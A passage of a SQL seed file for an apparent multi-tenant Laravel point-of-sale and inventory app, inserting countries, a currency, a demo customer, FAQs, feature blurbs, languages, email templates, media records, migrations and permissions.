250, NULL, NULL), (183, 'Saint Helena', 'SH', 290, NULL, NULL), (184, 'Saint Kitts And Nevis', 'KN', 1869, NULL, NULL), (185, 'Saint Lucia', 'LC', 1758, NULL, NULL), (186, 'Saint Pierre and Miquelon', 'PM', 508, NULL, NULL), (187, 'Saint Vincent And The Grenadines', 'VC', 1784, NULL, NULL), (188, 'Samoa', 'WS', 684, NULL, NULL), (189, 'San Marino', 'SM', 378, NULL, NULL), (190, 'Sao Tome and Principe', 'ST', 239, NULL, NULL), (191, 'Saudi Arabia', 'SA', 966, NULL, NULL), (192, 'Senegal', 'SN', 221, NULL, NULL), (193, 'Serbia', 'RS', 381, NULL, NULL), (194, 'Seychelles', 'SC', 248, NULL, NULL), (195, 'Sierra Leone', 'SL', 232, NULL, NULL), (196, 'Singapore', 'SG', 65, NULL, NULL), (197, 'Slovakia', 'SK', 421, NULL, NULL), (198, 'Slovenia', 'SI', 386, NULL, NULL), (199, 'Smaller Territories of the UK', 'XG', 44, NULL, NULL), (200, 'Solomon Islands', 'SB', 677, NULL, NULL), (201, 'Somalia', 'SO', 252, NULL, NULL), (202, 'South Africa', 'ZA', 27, NULL, NULL), (203, 'South Georgia', 'GS', 0, NULL, NULL), (204, 'South Sudan', 'SS', 211, NULL, NULL), (205, 'Spain', 'ES', 34, NULL, NULL), (206, 'Sri Lanka', 'LK', 94, NULL, NULL), (207, 'Sudan', 'SD', 249, NULL, NULL), (208, 'Suriname', 'SR', 597, NULL, NULL), (209, 'Svalbard And Jan Mayen Islands', 'SJ', 47, NULL, NULL), (210, 'Swaziland', 'SZ', 268, NULL, NULL), (211, 'Sweden', 'SE', 46, NULL, NULL), (212, 'Switzerland', 'CH', 41, NULL, NULL), (213, 'Syria', 'SY', 963, NULL, NULL), (214, 'Taiwan', 'TW', 886, NULL, NULL), (215, 'Tajikistan', 'TJ', 992, NULL, NULL), (216, 'Tanzania', 'TZ', 255, NULL, NULL), (217, 'Thailand', 'TH', 66, NULL, NULL), (218, 'Togo', 'TG', 228, NULL, NULL), (219, 'Tokelau', 'TK', 690, NULL, NULL), (220, 'Tonga', 'TO', 676, NULL, NULL), (221, 'Trinidad And Tobago', 'TT', 1868, NULL, NULL), (222, 'Tunisia', 'TN', 216, NULL, NULL), (223, 'Turkey', 'TR', 90, NULL, NULL), (224, 'Turkmenistan', 'TM', 7370, NULL, NULL), (225, 'Turks And Caicos Islands', 'TC', 1649, NULL, NULL), (226, 'Tuvalu', 'TV', 688, NULL, NULL), (227, 'Uganda', 'UG', 256, NULL, NULL), (228, 'Ukraine', 'UA', 380, NULL, NULL), (229, 'United Arab Emirates', 'AE', 971, NULL, NULL), (230, 'United Kingdom', 'GB', 44, NULL, NULL), (231, 'United States', 'US', 1, NULL, NULL), (232, 'United States Minor Outlying Islands', 'UM', 1, NULL, NULL), (233, 'Uruguay', 'UY', 598, NULL, NULL), (234, 'Uzbekistan', 'UZ', 998, NULL, NULL), (235, 'Vanuatu', 'VU', 678, NULL, NULL), (236, 'Vatican City State (Holy See)', 'VA', 39, NULL, NULL), (237, 'Venezuela', 'VE', 58, NULL, NULL), (238, 'Vietnam', 'VN', 84, NULL, NULL), (239, 'Virgin Islands (British)', 'VG', 1284, NULL, NULL), (240, 'Virgin Islands (US)', 'VI', 1340, NULL, NULL), (241, 'Wallis And Futuna Islands', 'WF', 681, NULL, NULL), (242, 'Western Sahara', 'EH', 212, NULL, NULL), (243, 'Yemen', 'YE', 967, NULL, NULL), (244, 'Yugoslavia', 'YU', 38, NULL, NULL), (245, 'Zambia', 'ZM', 260, NULL, NULL), (246, 'Zimbabwe', 'ZW', 26, NULL, NULL); INSERT INTO `currencies` (`id`, `name`, `code`, `symbol`, `created_at`, `updated_at`) VALUES (1, 'India', 'INR', '₹', '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `customers` (`id`, `tenant_id`, `name`, `email`, `phone`, `dob`, `country`, `city`, `address`, `created_at`, `updated_at`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'walk-in-customer', 'customer@infypos.com', '123456789', NULL, 'india', 'mumbai', 'Dr Deshmukh Marg , mumbai', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `faqs` (`id`, `title`, `description`, `created_at`, `updated_at`) VALUES (1, 'How do I get started?', 'Simply contact us via our website, and our team will guide you through the onboarding process.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (2, 'Do you provide custom packaging and labeling?', 'Yes, we offer custom packaging, labeling, and branding services for your products.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (3, 'Are there any hidden fees?', 'No, we believe in transparent pricing. All costs are discussed upfront before you commit.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (4, 'What payment methods do you accept?', 'We accept major credit cards, bank transfers, and online payment gateways.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (5, 'Do you have minimum storage requirements?', 'We offer flexible storage solutions with no long-term commitments. Contact us for specific details.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (6, 'How much does warehousing cost?', 'Pricing depends on the storage space required, duration, and additional services. Contact us for a customized quote.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (7, 'Do you handle order fulfillment?', 'Yes, we offer pick, pack, and shipping services to ensure your orders are delivered efficiently.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (8, 'Do you offer climate-controlled storage?', 'Yes, we provide temperature-controlled storage solutions for perishable and sensitive goods.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (9, 'Is my inventory secure in your warehouse?', 'Yes! Our warehouse is equipped with 24/7 surveillance, restricted access, and advanced security systems to ensure the safety of your goods.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (10, 'What types of products can I store in your warehouse?', 'We accommodate a wide range of products, including retail goods, electronics, perishable items, and more. Please contact us for specific storage requirements.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (11, 'How do I contact customer support?', 'You can reach us via email at [labs@infyom.in], or through our online contact form.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (12, 'What are your operating hours?', 'However, we offer 24/7 support for urgent logistics needs.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (13, 'What services do you offer?', 'We provide warehousing, inventory management, order fulfillment, and logistics solutions tailored to your business needs.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'); INSERT INTO `features` (`id`, `title`, `description`, `points`, `created_at`, `updated_at`) VALUES (1, 'Streamline Your Operations', 'Efficiently optimize your retail operations with our streamlined cloud-based solutions.', '[\"Cloud-based POS solution\", \"Eliminate manual processes\", \"Reduce errors\", \"Focus on serving customers and growing business\"]', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (2, 'Efficient Inventory Management', 'Keep track of your stock levels and ensure smooth inventory operations across multiple locations.', '[\"Real-time stock tracking\", \"Low-stock alerts and notifications\", \"Easy product categorization\", \"Manual stock adjustments\"]', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (3, '24/7 Support & Assistance', 'Get round-the-clock support to ensure your business never faces downtime.', '[\"Dedicated customer success team\", \"Email and phone support\", \"Comprehensive knowledge base and FAQs\", \"Regular system updates and security patches\"]', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (4, 'Multi-Warehouse Management', 'Efficiently manage inventory across multiple warehouses with advanced tracking and automation.', '[\"Centralized inventory visibility\", \"Stock allocation and transfers\", \"Warehouse-specific reporting and analytics\", \"Multi-location order fulfillment\"]', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `languages` (`id`, `name`, `iso_code`, `is_default`, `status`, `created_at`, `updated_at`) VALUES (1, 'English', 'en', 1, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'Chinese', 'cn', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'French', 'fr', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'German', 'gr', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (5, 'Spanish', 'sp', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (6, 'Turkish', 'tr', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (7, 'Arabic', 'ar', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (8, 'Vietnamese', 'vi', 0, 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'); INSERT INTO `mail_templates` (`id`, `tenant_id`, `template_name`, `content`, `type`, `created_at`, `updated_at`, `status`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'GREETING TO CUSTOMER ON SALES !', '<p>Hi, {customer_name}</p><p>Your sales Id is {sales_id}</p><p>Sales Date: {sales_date}</p><p>Total Amount: {sales_amount}</p><p>You have paid: {paid_amount}</p><p>Due amount: {due_amount}</p><p>Regards, {app_name}</p>', '1', '2025-07-24 03:47:27', '2025-07-24 03:47:27', 0), (2, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'GREETING TO CUSTOMER ON SALES RETURN !', '<p>Hi, {customer_name}</p><p>Your sales return Id is {sales_return_id}</p><p>Sales return Date: {sales_return_date}</p><p>Total Amount: {sales_return_amount}</p><p>Regards, {app_name}</p>', '2', '2025-07-24 03:47:27', '2025-07-24 03:47:27', 0); INSERT INTO `media` (`id`, `model_type`, `model_id`, `uuid`, `collection_name`, `name`, `file_name`, `mime_type`, `disk`, `conversions_disk`, `size`, `manipulations`, `custom_properties`, `generated_conversions`, `responsive_images`, `order_column`, `created_at`, `updated_at`) VALUES (1, 'App\\Models\\Service', 1, 'd7868995-4656-4b85-b55d-3a6e5d4b68ae', 'service_icon', 'services-1', 'services-1.png', 'image/png', 'public', 'public', 8071, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'App\\Models\\Service', 2, '70b50d5d-dc83-455f-b81d-a153b8996d48', 'service_icon', 'services-2', 'services-2.png', 'image/png', 'public', 'public', 8283, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'App\\Models\\Service', 3, '135d8c80-fe6a-4873-b62e-e8e939992fb7', 'service_icon', 'services-3', 'services-3.png', 'image/png', 'public', 'public', 7918, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'App\\Models\\Service', 4, '01db7891-d778-4dd9-a2e4-f2423072f7a7', 'service_icon', 'services-4', 'services-4.png', 'image/png', 'public', 'public', 13512, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (5, 'App\\Models\\Service', 5, '9089552a-f3cd-4f75-9dbf-f4732a29b960', 'service_icon', 'services-5', 'services-5.png', 'image/png', 'public', 'public', 1946, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (6, 'App\\Models\\WhyChooseUs', 1, '8adcc730-f74b-4080-8685-202a8146f05d', 'why_choose_image', 'choose-1', 'choose-1.png', 'image/png', 'public', 'public', 54995, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (7, 'App\\Models\\WhyChooseUs', 2, 'a57ec2f3-0522-4fc9-b7e5-c9bd15381ef5', 'why_choose_image', 'choose-2', 'choose-2.png', 'image/png', 'public', 'public', 35052, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (8, 'App\\Models\\WhyChooseUs', 3, 'cec17863-c271-4c1e-91b3-9f275c488dd4', 'why_choose_image', 'choose-3', 'choose-3.png', 'image/png', 'public', 'public', 30277, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (9, 'App\\Models\\WhyChooseUs', 4, 'bb102518-146f-4b42-b628-62d37dc74cca', 'why_choose_image', 'choose-4', 'choose-4.png', 'image/png', 'public', 'public', 63821, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (10, 'App\\Models\\Partner', 1, '672ff3ed-41d3-4940-93df-ab50c73a6d0b', 'partner_img', 'partner-1', 'partner-1.png', 'image/png', 'public', 'public', 2992, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (11, 'App\\Models\\Partner', 2, '2035863a-4403-451d-b917-ec1b14f42348', 'partner_img', 'partner-2', 'partner-2.png', 'image/png', 'public', 'public', 3046, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (12, 'App\\Models\\Partner', 3, '2aa89464-fa2f-47d0-809f-6c49b8115e31', 'partner_img', 'partner-3', 'partner-3.png', 'image/png', 'public', 'public', 2086, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (13, 'App\\Models\\Partner', 4, '1f491ca5-a805-4afc-a34a-e00ab1943886', 'partner_img', 'partner-4', 'partner-4.png', 'image/png', 'public', 'public', 3161, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (14, 'App\\Models\\Testimonial', 1, '7d8f82e3-234e-4a33-8a02-0ceaf665469b', 'testimonial_image', 'testimonial-1', 'testimonial-1.png', 'image/png', 'public', 'public', 3578, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (15, 'App\\Models\\Testimonial', 2, 'd0c65f67-de55-4789-b77f-ac4bb6508c1d', 'testimonial_image', 'testimonial-2', 'testimonial-2.png', 'image/png', 'public', 'public', 3778, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (16, 'App\\Models\\Testimonial', 3, '930f3094-5417-4d99-84c4-c08da25f5be8', 'testimonial_image', 'testimonial-3', 'testimonial-3.png', 'image/png', 'public', 'public', 4468, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (17, 'App\\Models\\Testimonial', 4, 'f9eef070-b460-4469-80c0-1df71804bd25', 'testimonial_image', 'testimonial-4', 'testimonial-4.png', 'image/png', 'public', 'public', 3943, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (18, 'App\\Models\\Testimonial', 5, '5a2c9ad0-4a45-409e-ae75-8aa964af5f11', 'testimonial_image', 'testimonial-5', 'testimonial-5.png', 'image/png', 'public', 'public', 33491, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (19, 'App\\Models\\Feature', 1, '999ff0b9-87e1-45f5-abc5-4b9642ebe674', 'feature_image', 'feature-1', 'feature-1.png', 'image/png', 'public', 'public', 11102, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (20, 'App\\Models\\Feature', 2, '2e880ec8-877b-4e9d-9f7f-cc39d452e97b', 'feature_image', 'feature-2', 'feature-2.png', 'image/png', 'public', 'public', 12157, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (21, 'App\\Models\\Feature', 3, '70872e24-45b7-4d15-8abc-47b19f0a1d78', 'feature_image', 'feature-3', 'feature-3.png', 'image/png', 'public', 'public', 13477, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (22, 'App\\Models\\Feature', 4, '2639152e-1760-441e-a32f-b04ddcb9b53c', 'feature_image', 'feature-4', 'feature-4.png', 'image/png', 'public', 'public', 9434, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (23, 'App\\Models\\Step', 1, 'b28456e3-8f1d-4ad5-b602-6bce6e4da34b', 'step_image', 'step-1', 'step-1.png', 'image/png', 'public', 'public', 645, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (24, 'App\\Models\\Step', 2, '4ae7a6c7-4182-4bb7-9df8-19300e0132c1', 'step_image', 'step-2', 'step-2.png', 'image/png', 'public', 'public', 617, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (25, 'App\\Models\\Step', 3, '2b82c168-b4c5-4d3c-b7dc-9cd88a6bfb9f', 'step_image', 'step-3', 'step-3.png', 'image/png', 'public', 'public', 774, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (26, 'App\\Models\\Step', 4, '2b7c10a5-df50-406f-9eb4-e0130c5ebdfb', 'step_image', 'step-4', 'step-4.png', 'image/png', 'public', 'public', 355, '[]', '[]', '[]', '[]', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES (1, '2014_10_12_000000_create_users_table', 1), (2, '2014_10_12_100000_create_password_resets_table', 1), (3, '2019_08_19_000000_create_failed_jobs_table', 1), (4, '2019_09_15_000010_create_tenants_table', 1), (5, '2019_09_15_000020_create_domains_table', 1), (6, '2019_12_14_000001_create_personal_access_tokens_table', 1), (7, '2022_02_18_051026_create_brands', 1), (8, '2022_02_18_063507_create_media_table', 1), (9, '2022_02_21_073634_create_permission_tables', 1), (10, '2022_03_01_045721_add_display_name_into_permissions_and_roles', 1), (11, '2022_03_02_042109_create_currencies_table', 1), (12, '2022_03_02_050637_create_product_categories_table', 1), (13, '2022_03_02_071803_create_units_table', 1), (14, '2022_03_02_125151_create_warehouse_table', 1), (15, '2022_03_03_094656_create_product_table', 1), (16, '2022_03_04_112848_create_customer_table', 1), (17, '2022_03_05_045741_create_suppliers_table', 1), (18, '2022_03_05_064104_add_columns_in_users_table', 1), (19, '2022_03_08_051830_create_sales_table', 1), (20, '2022_03_08_055549_creat_sale_items_table', 1), (21, '2022_03_09_095426_create_expense_categories_table', 1), (22, '2022_03_09_105321_create_expenses_table', 1), (23, '2022_03_10_101744_create_settings_table', 1), (24, '2022_03_14_101110_create_purchases_table', 1), (25, '2022_03_15_072023_create_purchase_items_table', 1), (26, '2022_03_15_122143_add_column_barcode_symbol_products_table', 1), (27, '2022_03_16_050519_change_description_filed_type_expense_category_table', 1), (28, '2022_05_10_104622_add_language_field_in_users', 1), (29, '2022_05_13_111052_add_title_field_in_expenses', 1), (30, '2022_05_20_093240_add_new_field_to_sales_table', 1), (31, '2022_05_23_061225_create_sales_return_table', 1), (32, '2022_05_23_065104_create_sale_return_items_table', 1), (33, '2022_05_24_045822_create_purchases_return_table', 1), (34, '2022_05_24_050431_create_purchases_return_items_table', 1), (35, '2022_05_31_123143_remove_warehouse_id_field_into_products_table', 1), (36, '2022_06_01_100610_create_manage_stocks_table', 1), (37, '2022_07_12_102722_add_new_filed_to_manage_stocks_table', 1), (38, '2022_07_29_085151_create_sales_payments_table', 1), (39, '2022_08_04_061313_add_reference_field_to_sales_payments_table', 1), (40, '2022_08_04_114100_add_received_amount_field_to_sales_payments_table', 1), (41, '2022_08_05_105849_create_adjustments_table', 1), (42, '2022_08_05_110241_create_adjustment_items_table', 1), (43, '2022_08_29_093912_create_transfers_table', 1), (44, '2022_08_29_094749_create_transfer_items_table', 1), (45, '2022_09_10_075820_create_mail_templates_table', 1), (46, '2022_09_14_050339_create_countries_table', 1), (47, '2022_09_14_050458_create_states_table', 1), (48, '2022_09_15_052207_create_quotations_table', 1), (49, '2022_09_15_053604_create_quotation_items_table', 1), (50, '2022_09_27_103942_add_new_field_in_sales', 1), (51, '2022_09_27_115534_add_new_field_in_quotations', 1), (52, '2022_10_03_074141_create_sms_templates_table', 1), (53, '2022_10_03_095418_create_sms_settings_table', 1), (54, '2022_10_08_074726_add_status_to_mail_templates_table', 1), (55, '2022_10_08_074912_add_status_to_sms_templates_table', 1), (56, '2022_10_15_044226_add_sale_id_to_sales_return_table', 1), (57, '2022_10_17_052105_add_is_return_field_to_sales_table', 1), (58, '2022_10_17_062353_add_sold_quantity_field_to_sale_return_items_table', 1), (59, '2022_11_08_050601_create_holds_table', 1), (60, '2022_11_08_051309_create_hold_items_table', 1), (61, '2022_11_10_105949_add_quantity_limit_to_products_table', 1), (62, '2022_11_29_070305_create_base_units_table', 1), (63, '2022_12_20_044834_add_dob_field_to_customers_table', 1), (64, '2022_12_22_000000_add_expires_at_to_personal_access_tokens_table', 1), (65, '2023_01_06_052856_create_languages_table', 1), (66, '2023_01_09_103904_add_is_default_to_base_units_table', 1), (67, '2023_01_09_112217_change_datatype_base_unit_field_to_units_table', 1), (68, '2023_06_13_112717_add_pos_register_table', 1), (69, '2023_06_16_115153_add_new_field_into_sales_table', 1), (70, '2023_07_07_064405_create_coupon_codes_table', 1), (71, '2023_07_07_083655_create_coupon_product_table', 1), (72, '2023_09_16_000000_rename_password_resets_table', 1), (73, '2023_11_21_123327_create_variations_table', 1), (74, '2023_11_21_123338_create_variation_types_table', 1), (75, '2023_12_21_065548_add_product_code_field_in_products_table', 1), (76, '2023_12_21_090730_add_variation_products_table', 1), (77, '2023_12_22_064744_create_main_products_table', 1), (78, '2023_12_22_065109_add_main_product_id_field_in_variation_products_table', 1), (79, '2023_12_22_065227_fill_up_product_code', 1), (80, '2023_12_29_064841_add_main_product_id_field_in_products_table', 1), (81, '2023_12_29_065039_fill_up_main_product_table_data', 1), (82, '2024_01_12_093843_move_product_images_to_main_product', 1), (83, '2024_09_27_052402_add_warehouse_id_in_hold_items_table', 1), (84, '2025_01_09_073625_add_tenant_id_field_on_users_table', 1), (85, '2025_01_09_104413_add_tenant_id_field_on_pos_register', 1), (86, '2025_01_10_064051_create_plans_table', 1), (87, '2025_01_10_095807_create_sadmin_settings_table', 1), (88, '2025_01_13_062432_create_transactions_table', 1), (89, '2025_01_13_072018_create_subscriptions_table', 1), (90, '2025_02_27_110353_add_is_paid_to_subscriptions_table', 1), (91, '2025_02_28_071756_create_plan_features_table', 1), (92, '2025_02_28_101103_add_tenant_id_to_roles_table', 1), (93, '2025_03_05_055706_add_user_id_in_transactions_table', 1), (94, '2025_03_06_041531_remove_stock_transfer_from_plan_features', 1), (95, '2025_03_10_073004_create_services_table', 1), (96, '2025_03_10_085031_create_partners_table', 1), (97, '2025_03_10_094242_create_business_information_table', 1), (98, '2025_03_10_110044_create_why_choose_us_table', 1), (99, '2025_03_10_111322_create_testimonials_table', 1), (100, '2025_03_10_113808_create_faqs_table', 1), (101, '2025_03_11_090446_create_contact_us_table', 1), (102, '2025_03_24_040730_modify_value_nullable_in_settings_table', 1), (103, '2025_04_01_124244_create_steps_table', 1), (104, '2025_04_01_130747_create_features_table', 1), (105, '2025_04_09_062858_create_stores_table', 1), (106, '2025_04_09_120119_rename_email_to_store_id_in_tenants_table', 1), (107, '2025_04_10_092430_add_payment_status_to_sales_return_table', 1), (108, '2025_04_15_051602_add_no_of_stores_to_plans_table', 1), (109, '2025_04_16_051055_create_user_stores_table', 1), (110, '2025_04_21_091958_add_data_column_to_subscriptions_table', 1), (111, '2025_04_23_085516_add_payment_status_to_purchases_table', 1), (112, '2025_05_01_110910_create_stores_and_user_stores_tables', 1), (113, '2025_05_09_104218_add_partial_amount_to_purchases_table', 1), (114, '2025_05_09_105332_create_taxes_table', 1), (115, '2025_05_27_114319_add_purchase_id_to_purchases_return_table', 1), (116, '2025_05_27_114530_add_is_return_to_purchases_table', 1), (117, '2025_06_03_071904_add_expiry_date_to_products_table', 1), (118, '2025_07_07_120230_run_generate_crud_permission_seeder', 1), (119, '2025_07_09_040018_add_status_to_languages_table', 1), (120, '2025_07_09_091831_create_payment_methods_table', 1), (121, '2025_07_09_092822_add_payment_type_foreign_keys_to_multiple_tables', 1), (122, '2025_07_17_101815_add_new_column_discount_type_to_sales_table', 1), (123, '2025_07_18_050720_add_new_column_add_user_id_to_expenses_table', 1), (124, '2025_08_25_101815_add_new_column_discount_type_to_hold', 2), (125, '2025_08_29_054502_add_notes_to_subscriptions_table', 2); INSERT INTO `model_has_roles` (`role_id`, `model_type`, `model_id`) VALUES (1, 'App\\Models\\User', 1), (2, 'App\\Models\\User', 2); INSERT INTO `partners` (`id`, `name`, `created_at`, `updated_at`) VALUES (1, 'VONDE', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'HIPSTER', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'AVANTER', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'NORWAY', '2025-07-24 03:47:25', '2025-07-24 03:47:25'); INSERT INTO `permissions` (`id`, `name`, `display_name`, `guard_name`, `created_at`, `updated_at`) VALUES (1, 'create_adjustments', 'Create Adjustments', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (2, 'edit_adjustments', 'Edit Adjustments', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (3, 'view_adjustments', 'View Adjustments', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (4, 'delete_adjustments', 'Delete Adjustments', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (5, 'create_transfers', 'Create Transfers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (6, 'edit_transfers', 'Edit Transfers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (7, 'view_transfers', 'View Transfers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (8, 'delete_transfers', 'Delete Transfers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (9, 'create_roles', 'Create Roles', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (10, 'edit_roles', 'Edit Roles', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (11, 'view_roles', 'View Roles', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (12, 'delete_roles', 'Delete Roles', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (13, 'create_brands', 'Create Brands', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (14, 'edit_brands', 'Edit Brands', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (15, 'view_brands', 'View Brands', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (16, 'delete_brands', 'Delete Brands', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (17, 'create_warehouses', 'Create Warehouses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (18, 'edit_warehouses', 'Edit Warehouses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (19, 'view_warehouses', 'View Warehouses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (20, 'delete_warehouses', 'Delete Warehouses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (21, 'create_units', 'Create Units', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (22, 'edit_units', 'Edit Units', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (23, 'view_units', 'View Units', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (24, 'delete_units', 'Delete Units', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (25, 'create_product_categories', 'Create Product Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (26, 'edit_product_categories', 'Edit Product Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (27, 'view_product_categories', 'View Product Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (28, 'delete_product_categories', 'Delete Product Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (29, 'create_products', 'Create Products', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (30, 'edit_products', 'Edit Products', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (31, 'view_products', 'View Products', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (32, 'delete_products', 'Delete Products', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (33, 'create_suppliers', 'Create Suppliers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (34, 'edit_suppliers', 'Edit Suppliers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (35, 'view_suppliers', 'View Suppliers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (36, 'delete_suppliers', 'Delete Suppliers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (37, 'create_customers', 'Create Customers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (38, 'edit_customers', 'Edit Customers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (39, 'view_customers', 'View Customers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (40, 'delete_customers', 'Delete Customers', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (41, 'create_users', 'Create Users', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (42, 'edit_users', 'Edit Users', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (43, 'view_users', 'View Users', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (44, 'delete_users', 'Delete Users', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (45, 'create_expense_categories', 'Create Expense Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (46, 'edit_expense_categories', 'Edit Expense Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (47, 'view_expense_categories', 'View Expense Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (48, 'delete_expense_categories', 'Delete Expense Categories', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (49, 'create_expenses', 'Create Expenses', 'web', '2025-07-24 03:47:23', '2025-07-24 03:47:23'), (50, 'edit_expenses', 'Edit Expenses', 'web', '2025-07-24 03:47:23', 